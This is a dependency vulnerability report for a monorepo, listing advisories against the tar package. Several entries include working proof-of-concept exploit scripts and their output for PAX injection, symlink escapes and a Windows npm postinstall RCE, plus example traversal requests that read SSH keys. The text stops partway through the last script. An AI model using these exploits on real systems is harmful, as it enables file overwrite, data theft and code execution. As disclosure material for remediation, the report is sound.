Vulnerabilities

27 via 60 paths

Dependencies

100

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 25
  • 2
Status
  • 27
  • 0
  • 0

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via decompression without backpressure in src/parse.ts (locations 576-577, 551-555, 343) and unbounded queuing of zero-size entries. When reading from a compressed archive, each input chunk is inflated synchronously and its output is buffered in a paused ReadEntry without any backpressure, so memory consumption is not bounded as long as the total decompressed size stays within the maxDecompressionRatio limit. In the same write path, zero-size entries are queued without limit, compounding the unbounded memory growth. A service that extracts or lists untrusted compressed archives can be forced to consume far more memory than the archive's compressed size implies.

PoC

`exploit_tests/test_vuln_008_*` and `_011_` measure memory for a control archive and an attack archive against the unmodified 7.5.22 build. Output is in `exploit_tests/evidence/`. The tests were run on macOS.

Note: Tests were run on macOS against the unmodified 7.5.22 build.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

CRLF Injection

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to CRLF Injection via parseKV in src/pax.ts, which splits PAX extended-header records on newline characters rather than by their declared byte length. An attacker who can embed a newline in any PAX field value - either by crafting an archive directly or by planting a filename containing a newline into a directory that is subsequently archived - causes the parser to treat bytes after the embedded newline as an independent PAX record. This allows forging arbitrary PAX attributes (path, linkpath, size, uid, and others) for an extracted entry, overriding the genuine header-derived values via Object.assign in ReadEntry#slurp. The highest-impact consequence is a path overwrite: an entry's path is rewritten to an attacker-chosen location, writing file content outside the intended extraction directory. On Windows, when used via npm install with strip: 1, this overwrites the installed package's package.json and executes an injected postinstall script, achieving remote code execution.

PoC

PoC bundle (zip): https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation.

(A) Extraction, no strip (POSIX & Windows) — path overwrite. A file named é\n21 path=package.json\n is placed in safe/, packed with prefix: 'bundle'. The real entry path is bundle/safe/é..., but the forged path=package.json record overrides it, so extraction writes package.json at the extraction root, escaping the bundle/safe/ prefix and overwriting a pre-existing package.json:

--- archive entries (as parsed) ---
"bundle/safe/" Directory
"bundle/safe/normal.txt" File
"package.json" File              <-- forged, escaped the prefix
--- result ---
out/package.json = "PWNED-BY-ATTACKER ..."
*** VULNERABLE: package.json was overwritten ***

Minimal script (run against dist/ of current HEAD):

const fs = require('fs'), path = require('path'), tar = require('tar')
const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')
fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})
fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})
fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')
fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER')
;(async () => {
  await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])
  await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })
  console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))
})()

(B) npm install on Windows — postinstall RCE. With npm's strip: 1, the Windows-only normalizeWindowsPath turns an injected x\package.json into two components x/package.json; strip:1 removes x, leaving package.json, which overwrites the installed package's package.json and runs its injected postinstall. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — npm install completed and ran a postinstall that was not present in the published package.json, writing an arbitrary file. (On POSIX, \ is a normal filename byte and the injected value cannot contain /, so npm's strip:1 happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without strip is not.)

Note: The PoC states it should be run against the dist/ of current HEAD on a POSIX or Windows system with no specific runtime version required for part A, and part B was verified on Windows Server 2022, Node v22.14.0, npm 10.9.2.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal in src/unpack.ts, via the symlink linkpath containment check. The check resolves a relative linkpath against path.posix.dirname(entry.path) (line 286), but the link is actually created at path.resolve(cwd, entry.path) (line 359). When an archive entry path ends in /., dirname returns a base one level shallower than the directory where the link is created, causing one .. component to be absorbed by the check while the kernel resolves the link from the correct (deeper) directory, allowing the symlink to escape the extraction directory with no warning. An attacker who supplies a crafted archive can create a symlink pointing outside the extraction directory; any caller that subsequently writes through the extracted path writes outside the intended destination.

PoC

Reproduced against the npm-published tar@7.5.22 (not only a source checkout), with one archive entry and default options:

{ path: 'x/.', type: 'SymbolicLink', linkpath: '../outside/secret.txt' }
pad    x -> ../outside/secret.txt   realpath resolves outside dest   warnings: []
ctrl   path 'x' (no '/.')           rejected: "linkpath escapes extraction directory"
strip  strip:1 (pacote/npm path)    x -> ../outside/secret.txt        warnings: []
7.5.4  baseline                     rejected: "linkpath contains '..'"

The x/. entry is created with the escaped target, with default options, and emits no warning. It also works with strip: 1, PAX path and GNU L.

PoC and controls: poc-linkpath-pad.mjs plus a version-regression script (7.5.2 vs 7.5.22).

Note: Reproduced against the npm-published tar@7.5.22 with one archive entry and default options.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via a trailing /. in a SymbolicLink entry path in src/unpack.ts. The [STRIPABSOLUTEPATH] linkpath check computes the entry's directory using the raw, un-normalized entry.path, so a path ending in /. (e.g. a/b/l/.) causes path.posix.dirname to return a directory one level deeper than where the symlink is actually created. The bounds check therefore accepts a linkpath that resolves outside the extraction directory, and the resulting symlink points to an arbitrary file on the filesystem. Any application that subsequently reads, serves, copies, or writes the extracted files can be redirected to that outside file, enabling disclosure or overwrite of files such as credentials or SSH keys.

PoC

poc.cjs below builds a one-entry archive with new Header({ path, type: 'SymbolicLink', linkpath: '../../../target.txt' }) and extracts it with x({ cwd, file }). It runs once with the plain path a/b/l (control) and once with a/b/l/. (attack). Then it does what a consumer of the extracted tree would do: it reads the file and writes it. Run with npm i tar@7.5.23 && node poc.cjs. It exits 1 when the attack escapes and the control does not.

// node-tar: a SymbolicLink entry whose path ends in "/." escapes the
// "linkpath must resolve inside cwd" check (src/unpack.ts STRIPABSOLUTEPATH).
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const work = fs.mkdtempSync('/tmp/nodetar-')
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd)
const target = path.join(work, 'target.txt')          // outside cwd
fs.writeFileSync(target, 'ORIGINAL\n')

function archive(entryPath) {
  const b = Buffer.alloc(1536)
  new Header({ path: entryPath, type: 'SymbolicLink', linkpath: '../../../target.txt' }).encode(b, 0)
  const f = path.join(work, entryPath.replace(/\W/g, '_') + '.tar')
  fs.writeFileSync(f, b)
  return f
}

async function run(label, entryPath, linkAt) {
  fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
  fs.writeFileSync(target, 'ORIGINAL\n')
  const warnings = []
  await x({ cwd, file: archive(entryPath), onwarn: (c, m) => warnings.push(c + ': ' + m) })
  const l = path.join(cwd, linkAt)
  let st = null; try { st = fs.lstatSync(l) } catch {}
  console.log(`\n[${label}] entry path ${JSON.stringify(entryPath)}`)
  console.log('  warnings:', warnings.length ? warnings : 'none')
  if (!st || !st.isSymbolicLink()) { console.log('  no symlink created -> blocked'); return false }
  console.log('  created', linkAt, '->', fs.readlinkSync(l), ' resolves to', fs.realpathSync(l))
  console.log('  read through link:', JSON.stringify(fs.readFileSync(l, 'utf8')))
  fs.writeFileSync(l, 'PWNED\n')                   // what any consumer writing the file does
  console.log('  outside target now:', JSON.stringify(fs.readFileSync(target, 'utf8')))
  return fs.readFileSync(target, 'utf8') === 'PWNED\n'
}

;(async () => {
  console.log('tar version', require('tar/package.json').version)
  const control = await run('CONTROL', 'a/b/l', 'a/b/l')       // same link, plain path
  const attack = await run('ATTACK', 'a/b/l/.', 'a/b/l')       // trailing "/."
  console.log(`\nRESULT control_escaped=${control} attack_escaped=${attack}`)
  process.exit(attack && !control ? 1 : 0)
})()

Output on tar@7.5.23, Node 22 (node:22-slim, non-root, --network none):

tar version 7.5.23

[CONTROL] entry path "a/b/l"
  warnings: [ 'TAR_ENTRY_ERROR: linkpath escapes extraction directory' ]
  no symlink created -> blocked

[ATTACK] entry path "a/b/l/."
  warnings: none
  created a/b/l -> ../../../target.txt  resolves to /tmp/nodetar-QaRigr/target.txt
  read through link: "ORIGINAL\n"
  outside target now: "PWNED\n"

RESULT control_escaped=false attack_escaped=true

Versions measured with the same script: 7.5.3 and 7.5.4 block both cases. 7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.9, 7.5.10, 7.5.11, 7.5.22 and 7.5.23 block the control and accept the attack.

Note: The PoC states it runs with npm i tar@7.5.23 && node poc.cjs on Node 22 (node:22-slim, non-root, --network none).

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via tar.x() when extracting an archive containing chained symbolic links, where a link target passes through an intermediate symlink from the same archive and then uses .. - for example sub/up -> .. followed by esc -> sub/up/... Both symlink-target checks in [STRIPABSOLUTEPATH] and [SYMLINK] collapse .. lexically before considering symlinks already placed on disk, so the intermediate symlink is never detected, while the kernel resolves it before applying ... With sufficient nesting depth, the extracted symlink resolves to /, giving any application that subsequently reads or writes paths under the extraction directory file read and write access outside the extraction root with the privileges of the extracting process.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in read-entry.js, which fails to filter the linkpath field when applying Global PAX Extended Header (g-type) fields to parsed entries. header.js correctly excludes linkpath from global headers with a guard clause, but read-entry.js contains no equivalent filter, so an attacker-controlled linkpath value from a Global Extended Header is injected into every subsequent tar.Parser entry - including plain File and Directory entries - with no warning raised even under strict: true. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths or create symlinks without revalidating the value can be made to read or write files outside the intended directory via a path-traversal symlink.

Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without bounds-checking; applications that use only tar.x() / tar.extract() are not affected because the Unpack layer's STRIPABSOLUTEPATH guard rejects an escaping linkpath at extraction time.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in src/read-entry.ts, which fails to filter linkpath when applying PAX Global Extended Header (g-type) fields to parsed entries. A tar archive containing a Global Extended Header with a linkpath field causes that attacker-controlled value to be injected into every subsequent entry returned by tar.Parser, including plain File and Directory entries, with no warning raised even under strict: true. Applications that consume tar.Parser or tar.list() directly and use entry.linkpath to build filesystem paths or create symlinks can be made to read or write files outside the intended directory.

Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without revalidating it; tar.x() and tar.extract() are not affected because the Unpack layer independently rejects an escaping linkpath.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry in src/read-entry.ts and related parsing logic in src/parse.ts and src/pax.ts, which apply PAX extended-header fields inconsistently. ReadEntry copies the PAX size field onto GNU long-name, long-link, and PAX meta entries, causing the parser to frame those entries differently from other tar implementations such as GNU tar, bsdtar, and Python tarfile. An attacker who supplies an archive can cause node-tar to see a different set of entries than a scanner or policy check run before extraction, allowing a file the check did not see to be extracted. Additionally, maxMetaEntrySize is checked against the PAX-overridden entry.size while the meta buffer accumulates header.size bytes, allowing the memory limit to be exceeded, and PAX records are split on newlines rather than by their length field, allowing a value containing a newline to inject a forged record.

PoC

Each finding has a self-contained test in the attached bundle (`exploit_tests/test_vuln_00N_*.cjs`). Each test runs a normal archive (control) and a crafted one (attack) against the unmodified 7.5.22 build, and records both outputs in `exploit_tests/evidence/`. All tests were run on macOS. Behaviour on Linux and Windows wasn't checked, but the affected code is platform-independent.

Note: Tests were run on macOS against the unmodified 7.5.22 build; the advisory notes the affected code is platform-independent.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via the parseKV function in src/pax.ts, which parses POSIX PAX extended headers by splitting the header body on newlines rather than consuming length-delimited records as the format specifies. A record whose value contains a newline is mishandled in two ways: the true record is dropped (the entry falls back to its truncated 100-byte ustar name), and any post-newline fragment that itself forms a self-valid <length> key=value line is applied as a real extended-header field. This allows an attacker to inject arbitrary PAX fields (path, size, linkpath, mode, uid, gid, mtime) into an archive entry, causing node-tar to assign different names and attributes to entries than every compliant reader (GNU tar, bsdtar, Python tarfile) would, defeating name-based and attribute-based inspection. In default extraction mode the effect is confined to the extraction root, but with preservePaths a forged path may be absolute or contain ...

PoC

Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.

# create files whose names embed a newline + a forged record tail, pack with a compliant packer
python3 - <<'EOF'
import os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)
open(os.path.join(d,'A'*95+'\nTAIL1.txt'),'w').write('PAX-DEPENDENT\n')          # legit newline name
open(os.path.join(d,'B'*95+'\n'+'24 path=forged-name.txt'),'w').write('INJECTED\n')  # forged path
open(os.path.join(d,'C'*95+'\n'+'10 size=0'),'w').write('EIGHTBYTS')              # forged size (true 9)
open(os.path.join(d,'D'*95+'\n'+'14 linkpath=a'),'w').write('X')                 # forged linkpath on a File
EOF
tar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .

Observed reading /tmp/paxnl/gnu.tar:

GNU tar / Python : true names, len 107-121, correct sizes, linkpath ''
node-tar t()     : pathlen=100 size=14                     (A: newline record dropped -> truncated)
                   pathlen=100 size=0                       (C: forged size=0, true size 9)
                   pathlen=100 linkpath="a"                 (D: forged linkpath on a plain File)
                   pathlen=15 "forged-name.txt" size=9      (B: forged path applied)
node-tar x()     : materializes 'forged-name.txt' on disk; A/C/D under truncated names

GNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged linkpath on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged size feeds the meta-entry desync (advisory 02).

Note: Validated against the published npm package tar@7.5.22 and source main, on Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via conflicting local and global PAX size fields during @archive repacking. When an application uses create() with an @archive source to repack attacker-controlled tar input and applies an entry filter, a crafted archive can set a local PAX size of 512 and a global PAX size of 0 on the same entry. ReadEntry.size ends up at 0 while the body stream still carries 512 bytes, so WriteEntryTar writes a header with size=0 but pipes the full 512-byte body after it. A parser of the repacked output treats those body bytes as a second tar header, producing an additional archive member that the filter never inspected and could not reject.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the symlink linkpath containment check in src/unpack.ts, which performs a lexical path.resolve rather than a filesystem-aware resolution. An attacker can craft a tar archive with two entries: a first symlink pointing to . (accepted as within cwd) and a second symlink whose target traverses through the first via s1/../secret.txt. Because path.resolve collapses the .. lexically, the resolved path appears to remain inside the extraction root, but the kernel follows the first symlink before applying .., causing the second symlink to point outside the extraction directory. This allows arbitrary file read of any file accessible to the extracting process by planting a symlink that escapes the extraction root.

PoC

tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.

const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
 direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
 dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
 hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
 hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
 file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct             warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1      warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1    warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs       warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link  warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false

The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.

Note: The PoC targets tar 7.5.22, tar-stream 3.2.2, and Node.js 22, run inside a Docker container with --network none.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: @yarnpkg/pnpify@4.1.3

Detailed paths

  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/core@4.9.3 › tar@7.5.24
  • Introduced through: @uiengine/monorepo@dennisreimann/uiengine › @yarnpkg/pnpify@4.1.3 › @yarnpkg/nm@4.1.2 › @yarnpkg/core@4.9.3 › tar@7.5.24

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via a backslash separator differential in the symlink linkpath containment check inside Unpack[STRIPABSOLUTEPATH] in src/unpack.ts. On non-Windows hosts, the containment check splits the symlink linkpath on both / and \ (via replaceAll(/\\/g, '/')), treating backslash as a path separator when counting segments. However, the symlink is created with the raw, unmodified linkpath via fs.symlink(entry.linkpath, entry.absolute), where the kernel treats \ as an ordinary filename character. A segment like A\B counts as two segments to the check but one to the kernel, so a .. run that the check believes stays inside the extraction directory actually escapes it at creation and resolution time. An attacker who supplies a tar archive containing a directory entry with a backslash-padded name and a symlink entry whose linkpath exploits this differential can plant a symlink that resolves to an arbitrary path on the same filesystem, enabling arbitrary file read from outside the extraction directory.

Note: This is only exploitable on non-Windows hosts (Linux/macOS), where backslash is not a path separator at the kernel level.

PoC

Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.

Steps: npm i tar@7.5.22 tar-stream node poc.js

poc.js:

const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 });        // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
  const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
